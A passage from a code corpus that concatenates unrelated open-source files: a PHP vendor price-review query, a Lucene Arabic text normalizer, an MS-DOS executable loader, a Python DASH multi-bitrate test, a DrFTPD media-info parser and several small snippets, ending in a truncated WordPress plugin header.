INNER JOIN vendors as b ON v.vendorID=b.vendorID
LEFT JOIN departments AS d ON p.department=d.dept_no
LEFT JOIN vendorDepartments AS s ON v.vendorDept=s.deptID AND v.vendorID=s.vendorID
LEFT JOIN VendorSpecificMargins AS g ON p.department=g.deptID AND v.vendorID=g.vendorID
LEFT JOIN upcLike AS l ON v.upc=l.upc
LEFT JOIN productCostChanges AS c ON p.upc=c.upc
LEFT JOIN prodReview AS r ON p.upc=r.upc
LEFT JOIN PriceRules AS pr ON p.price_rule_id=pr.priceRuleID
LEFT JOIN PriceRuleTypes AS prt ON pr.priceRuleTypeID=prt.priceRuleTypeID
LEFT JOIN MasterSuperDepts AS m ON p.department=m.dept_ID
WHERE v.cost > 0
";
// AND pr.priceRuleTypeID NOT IN (5, 6, 7, 8, 12)
if ($vidsStart != false && $vidsEnd != false) {
$ret .= "<h3 align=\"center\">Multiple Vendor View</h3>";
$vidsA = array($vidsStart, $vidsEnd);
$vidsP = $dbc->prepare("SELECT * FROM batchReviewLog WHERE forced >= ? AND forced < ? GROUP BY vid;");
$vidsR = $dbc->execute($vidsP, $vidsA);
$vids = array();
while ($row = $dbc->fetchRow($vidsR)) {
$vids[$row['vid']] = $row['vid'];
}
list($inStr, $args) = $dbc->safeInClause($vids);
$query .= " AND v.vendorID IN ($inStr) ";
} else {
$args = array($vendorID);
$query .= " AND v.vendorID = ? ";
}
$query .= " AND m.SuperID IN (1, 3, 4, 5, 8, 9, 13, 17, 18) ";
if ($superID == -2) {
$query .= " AND m.superID<>0 ";
} elseif ($superID != -1) {
$query .= " AND m.superID=? ";
$args[] = $superID;
}
if ($filter === false) {
$query .= " AND p.normal_price <> v.srp ";
}
if ($this->config->get('STORE_MODE') == 'HQ') {
$query .= ' AND p.store_id=? ';
$args[] = $this->config->get('STORE_ID');
}
$query .= ' AND p.upc IN (SELECT upc FROM products WHERE inUse = 1) ';
$query .= " ORDER BY p.upc";
$prep = $dbc->prepare($query);
$result = $dbc->execute($prep,$args);
$vendorModel = new VendorItemsModel($dbc);
//$td.= "<div class=\"table-responsive\"><table class=\"uniq-table table table-condensed table table-bordered small\" id=\"uniq-table\">";
$td = "";
$td.= "<thead><tr class=\"thead\" id=\"uniq-thead\">
<th class=\"thead\">UPC</th>
<th class=\"thead\">SKU</th>
<th class=\"thead\">Brand</th>
<th class=\"thead\">Description</th>
<th class=\"thead\">Vendor</th>
<th class=\"thead\">Owner</th>
<th class=\"thead\"></th>
</thead><tbody><tr></tr>";
$rounder = new PriceRounder();
while ($row = $dbc->fetch_row($result)) {
$vendorModel->reset();
$vendorModel->upc($row['upc']);
$vendorModel->vendorID($vendorID);
$vendorModel->load();
$numRows = $vendorModel->find();
$multipleVendors = '';
if (count($numRows) > 1) {
$multipleVendors = '<span class="glyphicon glyphicon-exclamation-sign"
title="Multiple SKUs For This Product">
</span> ';
}
if ($row['alias']) {
//$alias = $dbc->getRow($aliasP, array($row['upc']));
//$row['vendorDept'] = $alias['vendorDept'];
//$row['srp'] = $alias['srp'] * $alias['multiplier'];
//$row['srp'] = $rounder->round($row['srp']);
}
$differenceVisual = '';
$background = "white";
$acceptPrtID = array(1, 10);
if (isset($batchUPCs[$row['upc']]) && !$row['likecoded']) {
$background = 'selection';
} elseif (in_array($row['priceRuleTypeID'], $acceptPrtID) || $row['variable_pricing'] == 0 && $row['normal_price'] < 10.00) {
$background = (
($row['normal_price']+0.10 < $row['rawSRP'])
&& ($row['srp']-.14 > $row['normal_price']
&& $row['rawSRP'] - floor($row['rawSRP']) > 0.10)
) ?'red':'green-green';
if ($row['normal_price']-.10 > $row['rawSRP']) {
$background = (
($row['normal_price']-.10 > $row['rawSRP'])
&& ($row['normal_price']-.14 > $row['srp'])
&& ($row['rawSRP'] < $row['srp']+.10)
)?'yellow':'green-green';
}
} elseif (in_array($row['priceRuleTypeID'], $acceptPrtID) || $row['variable_pricing'] == 0 && $row['normal_price'] >= 10.00) {
$background = ($row['normal_price'] < $row['rawSRP']
&& $row['srp'] > $row['normal_price']
&& $row['rawSRP'] - floor($row['rawSRP']) > 0.10
) ?'red':'green-green';
if ($row['normal_price']-0.49 > $row['rawSRP']) {
$background = ($row['normal_price']-0.49 > $row['rawSRP']
&& ($row['normal_price'] > $row['srp'])
&& ($row['rawSRP'] < $row['srp']+.10) )?'yellow':'green-green';
}
}
if (isset($batchUPCs[$row['upc']])) {
$icon = '<span class="glyphicon glyphicon-minus-sign"
title="Remove from batch">
</span>';
} else {
$icon = '<span class="glyphicon glyphicon-plus-sign"
title="Add to batch">
</span>';
}
$brand = substr($row['brand'], 0, 20);
$symb = ($row['difference'] > 0) ? "+" : "";
$cleanDate = $row['date'];
$row['date'] = ($row['date']) ? "<span class='grey'> <i>on</i> </span> ".$row['date'] : "";
$change = $row['srp'] - $row['normal_price'];
//if (abs($change) > 1.99) {
// $change = (abs($change) < 1.99) ? 0 : round($change / 2);
// $row['srp'] = $row['srp'] - $change;
// $row['srp'] = $rounder->round($row['srp']);
//}
//if (abs(abs($row['normal_price']) - abs($row['rawSRP'])) < 0.03)
// continue;
$date = new DateTime();
$date = $date->format('Y-m-d');
$changeClassA = ($date == substr($row['date'], -10)) ? 'highlight' : '';
//$changeClassA = ('2021-09-03' == substr($row['date'], -10)) ? 'highlight' : '';
$changeClassB = ($date == $row['reviewed']) ? 'highlight' : '';
//$changeClassB = ('2021-09-03' == $row['reviewed']) ? 'highlight' : '';
$srpClassA = ($row['srp'] > $row['normal_price']) ? 'red' : 'yellow';
$direction = ($row['srp'] > $row['normal_price']) ? '↑' : '↓';
$td .= sprintf("<tr id=row%s class='%s %s item'>
<td class=\"sub\"
data-upc=\"%s\"
data-cost=\"%s\"
data-margin=\"%.2f\"
data-target=\"%s\"
data-diff=\"%s\"
data-change=\"<span class='$changeClassA'>%s %s on %s</span>\"
data-description=\"%s\"
data-brand=\"%s\"
data-reviewed=\"<span class='$changeClassB'>%s</span>\"
data-basecost=\"%s\"
data-round=\"%s\"
data-raw=\"%s\"
data-srp=\"%s\"
data-srpvisual=\"<span class='$srpClassA'>%s</span>\"
data-pricerule=\"<span class='white'>%s</span>\"
data-normalprice=\"%s\"
id=\"id%s\"
><a href=\"%sitem/ItemEditorPage.php?searchupc=%s\" target=\"_blank\">%s</a></td>
<td class=\"sub sku\">%s</td>
<td class=\"sub\">%s</td>
<td class=\"sub\">%s</td>
<td class=\"sub vendorName\">%s</td>
<td class=\"sub SuperName\">%s</td>
</tr>",
$row['upc'],
$background, $mtp = ($multipleVendors == '') ? '' : 'multiple',
// DATASETS datasets
$row['upc'], $row['adjusted_cost'], 100*$row['current_margin'], 100*$row['margin'],
round(100*$row['current_margin'] - 100*$row['margin'], 2),
/*
This is where I'm working datasets
*/
$symb, $row['difference'], $cleanDate,
$row['description'], $brand, $row['reviewed'], $row['cost'],
$rounder->round($row['rawSRP']),
round($row['rawSRP'],3), $row['srp'], $direction, $row['prtDesc'], $row['normal_price'], $row['upc'],
/*
My work area end's here
*/
$this->config->URL, $row['upc'], $row['upc'],
$row['sku'],
$temp = (strlen($brand) == 10) ? "$brand~" : $brand,
$row['description'] . ' ' . $multipleVendors,
//$row['adjusted_cost'],
$row['vendorName'],
$row['superName'],
$row['normal_price']
);
}
$td.= "<tr></tr><tr></tr><tr></tr></tbody>";
return $td . $addHTML;
}
}
FannieDispatch::conditionalExec();
| gpl-2.0 |
drazenzadravec/nequeo | Tools/Lucene/contrib/analyzers/common/analysis/ar/ArabicNormalizer.cpp | 2415 | /////////////////////////////////////////////////////////////////////////////
// Copyright (c) 2009-2014 Alan Wright. All rights reserved.
// Distributable under the terms of either the Apache License (Version 2.0)
// or the GNU Lesser General Public License.
/////////////////////////////////////////////////////////////////////////////
#include "ContribInc.h"
#include "ArabicNormalizer.h"
#include "MiscUtils.h"
namespace Lucene {
const wchar_t ArabicNormalizer::ALEF = (wchar_t)0x0627;
const wchar_t ArabicNormalizer::ALEF_MADDA = (wchar_t)0x0622;
const wchar_t ArabicNormalizer::ALEF_HAMZA_ABOVE = (wchar_t)0x0623;
const wchar_t ArabicNormalizer::ALEF_HAMZA_BELOW = (wchar_t)0x0625;
const wchar_t ArabicNormalizer::YEH = (wchar_t)0x064a;
const wchar_t ArabicNormalizer::DOTLESS_YEH = (wchar_t)0x0649;
const wchar_t ArabicNormalizer::TEH_MARBUTA = (wchar_t)0x0629;
const wchar_t ArabicNormalizer::HEH = (wchar_t)0x0647;
const wchar_t ArabicNormalizer::TATWEEL = (wchar_t)0x0640;
const wchar_t ArabicNormalizer::FATHATAN = (wchar_t)0x064b;
const wchar_t ArabicNormalizer::DAMMATAN = (wchar_t)0x064c;
const wchar_t ArabicNormalizer::KASRATAN = (wchar_t)0x064d;
const wchar_t ArabicNormalizer::FATHA = (wchar_t)0x064e;
const wchar_t ArabicNormalizer::DAMMA = (wchar_t)0x064f;
const wchar_t ArabicNormalizer::KASRA = (wchar_t)0x0650;
const wchar_t ArabicNormalizer::SHADDA = (wchar_t)0x0651;
const wchar_t ArabicNormalizer::SUKUN = (wchar_t)0x0652;
ArabicNormalizer::~ArabicNormalizer() {
}
int32_t ArabicNormalizer::normalize(wchar_t* s, int32_t len) {
for (int32_t i = 0; i < len; ++i) {
switch (s[i]) {
case ALEF_MADDA:
case ALEF_HAMZA_ABOVE:
case ALEF_HAMZA_BELOW:
s[i] = ALEF;
break;
case DOTLESS_YEH:
s[i] = YEH;
break;
case TEH_MARBUTA:
s[i] = HEH;
break;
case TATWEEL:
case KASRATAN:
case DAMMATAN:
case FATHATAN:
case FATHA:
case DAMMA:
case KASRA:
case SHADDA:
case SUKUN:
len = deleteChar(s, i--, len);
break;
default:
break;
}
}
return len;
}
int32_t ArabicNormalizer::deleteChar(wchar_t* s, int32_t pos, int32_t len) {
if (pos < len) {
MiscUtils::arrayCopy(s, pos + 1, s, pos, len - pos - 1);
}
return len - 1;
}
}
| gpl-2.0 |
MavenRain/reko | src/ImageLoaders/MzExe/MsdosImageLoader.cs | 3623 | #region License
/*
* Copyright (C) 1999-2015 John Källén.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2, or (at your option)
* any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; see the file COPYING. If not, write to
* the Free Software Foundation, 675 Mass Ave, Cambridge, MA 02139, USA.
*/
#endregion
using Reko.Arch.X86;
using Reko.Environments.Msdos;
using Reko.Core;
using System;
using System.Collections.Generic;
using Reko.Core.Configuration;
namespace Reko.ImageLoaders.MzExe
{
/// <summary>
/// Loads MS-DOS binary executables.
/// </summary>
public class MsdosImageLoader : ImageLoader
{
private IProcessorArchitecture arch;
private Platform platform;
private ExeImageLoader exe;
private LoadedImage imgLoaded;
private ImageMap imgLoadedMap;
public MsdosImageLoader(IServiceProvider services, string filename, ExeImageLoader exe) : base(services, filename, exe.RawImage)
{
this.exe = exe;
this.arch = new IntelArchitecture(ProcessorMode.Real);
this.platform = this.platform = services.RequireService<IConfigurationService>()
.GetEnvironment("ms-dos")
.Load(services, arch);
}
public override Address PreferredBaseAddress
{
get { return Address.SegPtr(0x0800, 0); }
set { throw new NotImplementedException(); }
}
public override Program Load(Address addrLoad)
{
int iImageStart = (exe.e_cparHeader * 0x10);
int cbImageSize = exe.e_cpImage * ExeImageLoader.CbPageSize - iImageStart;
byte[] bytes = new byte[cbImageSize];
int cbCopy = Math.Min(cbImageSize, RawImage.Length - iImageStart);
Array.Copy(RawImage, iImageStart, bytes, 0, cbCopy);
imgLoaded = new LoadedImage(addrLoad, bytes);
imgLoadedMap = imgLoaded.CreateImageMap();
return new Program(imgLoaded, imgLoadedMap, arch, platform);
}
public override RelocationResults Relocate(Program program, Address addrLoad)
{
ImageMap imageMap = imgLoadedMap;
ImageReader rdr = new LeImageReader(exe.RawImage, (uint) exe.e_lfaRelocations);
var relocations = new RelocationDictionary();
int i = exe.e_cRelocations;
while (i != 0)
{
uint offset = rdr.ReadLeUInt16();
ushort segOffset = rdr.ReadLeUInt16();
offset += segOffset * 0x0010u;
ushort seg = (ushort) (imgLoaded.ReadLeUInt16(offset) + addrLoad.Selector);
imgLoaded.WriteLeUInt16(offset, seg);
relocations.AddSegmentReference(offset, seg);
imageMap.AddSegment(Address.SegPtr(seg, 0), seg.ToString("X4"), AccessMode.ReadWriteExecute, 0);
--i;
}
// Found the start address.
Address addrStart = Address.SegPtr((ushort)(exe.e_cs + addrLoad.Selector), exe.e_ip);
imageMap.AddSegment(Address.SegPtr(addrStart.Selector, 0), addrStart.Selector.ToString("X4"), AccessMode.ReadWriteExecute, 0);
return new RelocationResults(
new List<EntryPoint> { new EntryPoint(addrStart, arch.CreateProcessorState()) },
relocations,
new List<Address>());
}
}
}
| gpl-2.0 |
snjv180/PythonStudy | whileloop.py | 155 | #!/usr/bin/env python3
n = 100
sum = 0
counter = 1
while counter <= n:
sum = sum + counter
counter += 1
print("Sum of 1 until %d: %d" % (n,sum)) | gpl-2.0 |
mediagoom/mg | test/test_multiple_bitrate.py | 4620 |
#!/usr/bin/python
import subprocess, os, shutil, re, sys, getopt
from urllib2 import urlopen, URLError, HTTPError
import test_core, test_hash
#http://defgroupdisks.blob.core.windows.net/builds/PLAY
#002569741225_Sintel_2010_1080p_mkv_338_144_120.mp4
#002569741225_Sintel_2010_1080p_mkv_676_288_320.mp4
#002569741225_Sintel_2010_1080p_mkv_1352_576_750.mp4
#002569741225_Sintel_2010_1080p_mkv_1690_720_1200.mp4
#002569741225_Sintel_2010_1080p_mkv_1690_720_2000.mp4
#002569741225_Sintel_2010_1080p_mkv_1690_720_3500.mp4
def addfiles2cmd(files, bitrates):
cmd = []
l = len(files)
x = 0
add = '-i:'
while x < l:
print('add', files[x])
cmd.append(add + files[x])
cmd.append('-b:' + str(bitrates[x]))
add = '-j:'
x += 1
return cmd
def execdashjoins(mg, files, bitrates, do):
print(mg)
#01:28 #2:30
cmd = [mg, '-k:adaptive', '-s:880000000', '-e:1500000000', '-o:' + do]
cmd2 = addfiles2cmd(files,bitrates)
cmd += cmd2
#12:26
cmd3 = ['-s:7460000000', '-e:0']
cmd += cmd3
cmd += cmd2
test_core.execcmd(cmd)
def execdash(mg, files, bitrates, do):
print(mg)
cmd = [mg, '-k:adaptive', '-s:0', '-e:0', '-o:' + do]
cmd2 = addfiles2cmd(files,bitrates)
cmd += cmd2
test_core.execcmd(cmd)
def dlfile(url, dest):
# Open the url
try:
f = urlopen(url)
print("downloading " + url)
# Open our local file for writing
with open(dest, "wb") as local_file:
local_file.write(f.read())
#handle errors
except HTTPError, e:
print("HTTP Error:", e.code, url)
raise
except URLError, e:
print("URL Error:", e.reason, url)
raise
def dofile(url, name, thedir):
target = os.path.join(thedir, name)
temp = os.path.join(thedir, "tmp.tmp")
if not os.path.exists(target):
dlfile(url + "/" + name, temp )
os.rename(temp, target)
return target
def main(argv):
"""main program function"""
url = 'http://defgroupdisks.blob.core.windows.net/builds/SINTEL'
print('main', url)
mg = test_core.getmg()
cwd = test_core.getroot()
print('main before download')
thedir = os.path.join(cwd, 'tmp','multi')
files = ["002569741225_Sintel_2010_1080p_mkv_338_144_120.mp4", "002569741225_Sintel_2010_1080p_mkv_676_288_320.mp4"]
files.append("002569741225_Sintel_2010_1080p_mkv_1352_576_750.mp4")
files.append("002569741225_Sintel_2010_1080p_mkv_1690_720_1200.mp4")
files.append("002569741225_Sintel_2010_1080p_mkv_1690_720_2000.mp4")
files.append("002569741225_Sintel_2010_1080p_mkv_1690_720_3500.mp4")
bitrates = [120, 320, 750, 1200, 2000, 3500]
try:
opts, args = getopt.getopt(argv,"hufrdb",["url=","dir="])
except getopt.GetoptError:
print('test_dash.py --kind <dash|hls>')
sys.exit(2)
for opt, arg in opts:
if opt == '-h':
print('test_multiple_bitrate.py -u <url> -f <files> -r <bitrate> -d <directory> -b <blueprint>')
sys.exit()
elif opt in ("-u", "--url"):
url = arg
elif opt in ("-d", "--dir"):
thedir = arg
print( 'url: ', url)
print( 'dir: ', thedir)
print( 'mg: ', mg)
if not os.path.exists(thedir):
os.makedirs(thedir)
srcd = test_core.getsrcdir()
#>----------FILES FULL-----------------
targets = []
l = len(files)
print l
x = 0
while x < l:
print 'download', files[x]
targets.append(dofile(url, files[x], thedir))
x += 1
dt = os.path.join(thedir, 'STATIC')
test_core.recreatedir(dt)
dj = os.path.join(thedir, 'JOIN')
test_core.recreatedir(dj)
execdash(mg, targets, bitrates, dt)
test_core.sanitize_i_files(dt)
checkfile = 'multibitrate.txt'
res = test_hash.hash_check(dt, "*.*", test_hash.exclude, os.path.join(srcd, 'test_assets', checkfile), False, False)
testresult = test_core.TestResult()
testresult.name = "Multibirate"
testresult.result = res
test_core.reporttest(testresult)
execdashjoins(mg, targets, bitrates, dj)
test_core.sanitize_i_files(dj)
checkfile = 'join.txt'
res = test_hash.hash_check(dj, "*.*", test_hash.exclude, os.path.join(srcd, 'test_assets', checkfile), False, False)
testresult2 = test_core.TestResult()
testresult2.name = "Multibirate-Join"
testresult2.result = res
test_core.reporttest(testresult2)
print("start multi-bitrate-test")
main(sys.argv[1:]) | gpl-2.0 |
mwager/jAM | src/abc/notation/Degree.java | 2427 | // Copyright 2006-2008 Lionel Gueganton
// This file is part of abc4j.
//
// abc4j is free software: you can redistribute it and/or modify
// it under the terms of the GNU Lesser General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// abc4j is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Lesser General Public License for more details.
//
// You should have received a copy of the GNU Lesser General Public License
// along with abc4j. If not, see <http://www.gnu.org/licenses/>.
package abc.notation;
/**
* Constants for note degree in a scale
*
* In a scale, the notes are called the
* <UL>
* <LI>tonic (I)
* <LI>supertonic (II)
* <LI>mediant (III)
* <LI>subdominant (IV)
* <LI>dominant (V)
* <LI>submediant (VI)
* <LI>leading tone (VII)
* </UL>
*
* Of these, it is most important to remember the "tonic" (I), "subdominant"
* (IV), and "dominant" (V), because these tones and chords built on these tones
* are used the most often.
*/
public interface Degree {
/** the 1st degree of the scale */
public static final byte TONIC = 1;
/** the 2nd degree of the scale */
public static final byte SUPERTONIC = 2;
/** the 3rd degree of the scale */
public static final byte MEDIANT = 3;
/** the 4th degree of the scale */
public static final byte SUBDOMINANT = 4;
/** the 5th degree of the scale */
public static final byte DOMINANT = 5;
/** the 6th degree of the scale */
public static final byte SUBMEDIANT = 6;
/** the 7th degree of the scale */
public static final byte LEADING_TONE = 7;
// short names in roman number
/** the 1st degree (tonic) of the scale */
public static final byte I = TONIC;
/** the 2nd degree (supertonic) of the scale */
public static final byte II = SUPERTONIC;
/** the 3rd degree (mediant) of the scale */
public static final byte III = MEDIANT;
/** the 4th degree (subdominant) of the scale */
public static final byte IV = SUBDOMINANT;
/** the 5th degree (dominant) of the scale */
public static final byte V = DOMINANT;
/** the 6th degree (submediant) of the scale */
public static final byte VI = SUBMEDIANT;
/** the 7th degree (leading tone) of the scale */
public static final byte VII = LEADING_TONE;
} | gpl-2.0 |
alwaysprep/codebin | gists/admin.py | 113 | from django.contrib import admin
from .models import Gist
# Register your models here.
admin.site.register(Gist) | gpl-2.0 |
drftpd-ng/drftpd3 | src/plugins/mediainfo/mediainfo-common/src/main/java/org/drftpd/mediainfo/common/MediaInfo.java | 12687 | /*
* This file is part of DrFTPD, Distributed FTP Daemon.
*
* DrFTPD is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* DrFTPD is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with DrFTPD; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.drftpd.mediainfo.common;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.drftpd.common.dynamicdata.Key;
import org.drftpd.common.util.Bytes;
import org.mp4parser.IsoFile;
import java.io.*;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
/**
* @author scitz0
*/
@SuppressWarnings("serial")
public class MediaInfo implements Serializable {
public static final Key<MediaInfo> MEDIAINFO = new Key<>(MediaInfo.class, "mediainfo");
private static final Logger logger = LogManager.getLogger(MediaInfo.class);
private static final String MEDIAINFO_COMMAND = "mediainfo";
private String _fileName = "";
private long _checksum;
private boolean _sampleOk = true;
private long _actFileSize = 0L;
private long _calFileSize = 0L;
private String _realFormat = "";
private String _uploadedFormat = "";
private HashMap<String, String> _generalInfo = null;
private ArrayList<HashMap<String, String>> _videoInfos = new ArrayList<>();
private ArrayList<HashMap<String, String>> _audioInfos = new ArrayList<>();
private ArrayList<HashMap<String, String>> _subInfos = new ArrayList<>();
/**
* Constructor for MediaInfo
*/
public MediaInfo() { }
public static boolean hasWorkingMediaInfo() {
try {
ProcessBuilder builder = new ProcessBuilder(MEDIAINFO_COMMAND, "--version");
Process proc = builder.start();
int status = proc.waitFor();
if (status != 0) {
throw new RuntimeException("Exist code of " + MEDIAINFO_COMMAND + " --version yielded exit code " + status);
}
return true;
} catch(Exception e) {
logger.fatal("Something went wrong trying to see if " + MEDIAINFO_COMMAND + " binary exists and works", e);
}
return false;
}
public static MediaInfo getMediaInfoFromFile(File file) throws IOException {
MediaInfo mediaInfo = new MediaInfo();
String filePath = file.getAbsolutePath();
mediaInfo.setActFileSize(file.length());
Pattern pSection = Pattern.compile("^(General|Video|Audio|Text|Chapters)( #\\d+)?$", Pattern.CASE_INSENSITIVE);
Pattern pValue = Pattern.compile("^(.*?)\\s+: (.*)$", Pattern.CASE_INSENSITIVE);
ProcessBuilder builder = new ProcessBuilder(MEDIAINFO_COMMAND, filePath);
Process pDD = builder.start();
BufferedReader stdout = new BufferedReader(new InputStreamReader(pDD.getInputStream()));
HashMap<String, String> props = new HashMap<>();
String section = "";
String line;
while ((line = stdout.readLine()) != null) {
if (!line.trim().equals("")) {
Matcher m = pSection.matcher(line);
if (m.find() && !line.equalsIgnoreCase(section)) {
if (section.toLowerCase().startsWith("video")) {
mediaInfo.addVideoInfo(props);
} else if (section.toLowerCase().startsWith("audio")) {
mediaInfo.addAudioInfo(props);
} else if (section.toLowerCase().startsWith("text")) {
mediaInfo.addSubInfo(props);
} else if (section.toLowerCase().startsWith("general")) {
mediaInfo.setGeneralInfo(props);
}
section = line;
props = new HashMap<>();
}
m = pValue.matcher(line);
if (m.find()) {
props.put(m.group(1), m.group(2));
}
}
}
// Last one
if (section.toLowerCase().startsWith("video")) {
mediaInfo.addVideoInfo(props);
} else if (section.toLowerCase().startsWith("audio")) {
mediaInfo.addAudioInfo(props);
} else if (section.toLowerCase().startsWith("text")) {
mediaInfo.addSubInfo(props);
} else if (section.toLowerCase().startsWith("general")) {
mediaInfo.setGeneralInfo(props);
}
stdout.close();
int exitValue;
try {
exitValue = pDD.waitFor();
if (exitValue != 0) {
logger.error("ERROR: mediainfo process failed with exit code {}", exitValue);
return null;
}
} catch (InterruptedException e) {
logger.error("ERROR: mediainfo process interrupted");
}
pDD.destroy();
String realFormat;
if (mediaInfo.getGeneralInfo() != null && mediaInfo.getGeneralInfo().get("Format") != null) {
realFormat = getRealFormat(mediaInfo.getGeneralInfo().get("Format"));
} else {
realFormat = getFileExtension(filePath);
}
// Calculate valid filesize for mp4, mkv and avi
switch (realFormat) {
case "MP4":
IsoFile isoFile = new IsoFile(filePath);
if (isoFile.getSize() != mediaInfo.getActFileSize()) {
mediaInfo.setSampleOk(false);
mediaInfo.setCalFileSize(isoFile.getSize());
}
break;
case "MKV":
builder = new ProcessBuilder("mkvalidator", "--quiet", "--no-warn", filePath);
builder.redirectErrorStream(true);
pDD = builder.start();
stdout = new BufferedReader(new InputStreamReader(pDD.getInputStream()));
while ((line = stdout.readLine()) != null) {
if (line.contains("ERR042")) {
mediaInfo.setSampleOk(false);
for (String word : line.split("\\s")) {
if (word.matches("^\\d+$")) {
mediaInfo.setCalFileSize(Long.parseLong(word));
break;
}
}
}
}
stdout.close();
try {
pDD.waitFor();
} catch (InterruptedException e) {
logger.error("ERROR: mkvalidator process interrupted");
}
pDD.destroy();
break;
case "AVI":
if (mediaInfo.getGeneralInfo() != null && mediaInfo.getGeneralInfo().get("File size") != null &&
!mediaInfo.getVideoInfos().isEmpty() && mediaInfo.getVideoInfos().get(0) != null &&
mediaInfo.getVideoInfos().get(0).containsKey("Stream size") &&
!mediaInfo.getAudioInfos().isEmpty() && mediaInfo.getAudioInfos().get(0) != null &&
mediaInfo.getAudioInfos().get(0).containsKey("Stream size")) {
String[] videoStream = (mediaInfo.getVideoInfos().get(0).get("Stream size")).split("\\s");
String[] audioStream = (mediaInfo.getAudioInfos().get(0).get("Stream size")).split("\\s");
long videoStreamSize = 0L;
long audioStreamSize = 0L;
long fileSizeFromMediainfo = Bytes.parseBytes(mediaInfo.getGeneralInfo().get("File size").replaceAll("\\s", ""));
if (videoStream.length >= 2) {
videoStreamSize = Bytes.parseBytes(videoStream[0] + videoStream[1]);
}
if (audioStream.length >= 2) {
audioStreamSize = Bytes.parseBytes(audioStream[0] + audioStream[1]);
}
if (videoStreamSize + audioStreamSize > fileSizeFromMediainfo) {
mediaInfo.setSampleOk(false);
mediaInfo.setCalFileSize(videoStreamSize + audioStreamSize);
}
} else {
// No audio or video stream available/readable
mediaInfo.setSampleOk(false);
mediaInfo.setCalFileSize(0L);
}
break;
}
// Check container format type
if (filePath.toUpperCase().endsWith(".MP4")) {
if (!realFormat.equals("MP4")) {
mediaInfo.setRealFormat(realFormat);
mediaInfo.setUploadedFormat("MP4");
mediaInfo.setSampleOk(false);
}
} else if (filePath.toUpperCase().endsWith(".MKV")) {
if (!realFormat.equals("MKV")) {
mediaInfo.setRealFormat(realFormat);
mediaInfo.setUploadedFormat("MKV");
mediaInfo.setSampleOk(false);
}
} else if (filePath.toUpperCase().endsWith(".AVI")) {
if (!realFormat.equals("AVI")) {
mediaInfo.setRealFormat(realFormat);
mediaInfo.setUploadedFormat("AVI");
mediaInfo.setSampleOk(false);
}
}
return mediaInfo;
}
private static String getFileExtension(String fileName) {
if (fileName.indexOf('.') == -1) {
// No extension on file
return null;
} else {
return fileName.substring(fileName.lastIndexOf('.') + 1).toUpperCase();
}
}
private static String getRealFormat(String format) {
String realFormat = format;
if (format.equals("MPEG-4")) {
realFormat = "MP4";
} else if (format.equals("Matroska")) {
realFormat = "MKV";
}
return realFormat;
}
public String getFileName() {
return _fileName;
}
public void setFileName(String fileName) {
_fileName = fileName;
}
public long getChecksum() {
return _checksum;
}
public void setChecksum(long value) {
_checksum = value;
}
public boolean getSampleOk() {
return _sampleOk;
}
public void setSampleOk(boolean value) {
_sampleOk = value;
}
public long getActFileSize() {
return _actFileSize;
}
public void setActFileSize(long value) {
_actFileSize = value;
}
public long getCalFileSize() {
return _calFileSize;
}
public void setCalFileSize(long value) {
_calFileSize = value;
}
public String getRealFormat() {
return _realFormat;
}
public void setRealFormat(String realFormat) {
_realFormat = realFormat;
}
public String getUploadedFormat() {
return _uploadedFormat;
}
public void setUploadedFormat(String uploadedFormat) {
_uploadedFormat = uploadedFormat;
}
public HashMap<String, String> getGeneralInfo() {
return _generalInfo;
}
public void setGeneralInfo(HashMap<String, String> generalInfo) {
_generalInfo = generalInfo;
}
public void addVideoInfo(HashMap<String, String> videoInfo) {
_videoInfos.add(videoInfo);
}
public ArrayList<HashMap<String, String>> getVideoInfos() {
return _videoInfos;
}
public void setVideoInfos(ArrayList<HashMap<String, String>> videoInfos) {
_videoInfos = videoInfos;
}
public void addAudioInfo(HashMap<String, String> audioInfo) {
_audioInfos.add(audioInfo);
}
public ArrayList<HashMap<String, String>> getAudioInfos() {
return _audioInfos;
}
public void setAudioInfos(ArrayList<HashMap<String, String>> audioInfos) {
_audioInfos = audioInfos;
}
public void addSubInfo(HashMap<String, String> subInfo) {
_subInfos.add(subInfo);
}
public ArrayList<HashMap<String, String>> getSubInfos() {
return _subInfos;
}
public void setSubInfos(ArrayList<HashMap<String, String>> subInfos) {
_subInfos = subInfos;
}
}
| gpl-2.0 |
SpamExperts/plesk-windows-addon | tests/_support/Pages/BrandingPage.php | 728 | <?php
namespace Pages;
class BrandingPage
{
const TITLE = "Branding";
const DESCRIPTION = "On this page you can change how the addon looks for the customers.";
const ORIGINAL_BRANDNAME = 'Professional Spam Filter';
const SUB_TITLE_A = "Current branding";
const DESCRIPTION_A = "Your branding is currently set to:";
const SUB_TITLE_B = "Change branding";
const DESCRIPTION_B = "If you want to change the branding shown above, you can do this in the form below.";
const BRANDING_ICON = "//img[@id='some_icon']";
const BRANDNAME_INPUT = "//input[@id='brandname']";
const BRANDICON_SELECT = "//input[@id='brandicon']";
const SAVE_BRANDING_BTN = "//input[@id='submit']";
}
| gpl-2.0 |
tg2015/SIGOES-Bitacora | stream.php | 1460 | <?php
/**
*Plugin Name: SIGOES-Bitacora
*Description: Plugin para la implementacion de modulo de bitacora
*Version: 3.0
*Author: Equipo de desarrollo SIGOES
*Author URI: http://modulos.egob.sv
* License: GPLv2+
* Text Domain: stream
* Domain Path: /languages
*/
if ( ! version_compare( PHP_VERSION, '5.3', '>=' ) ) {
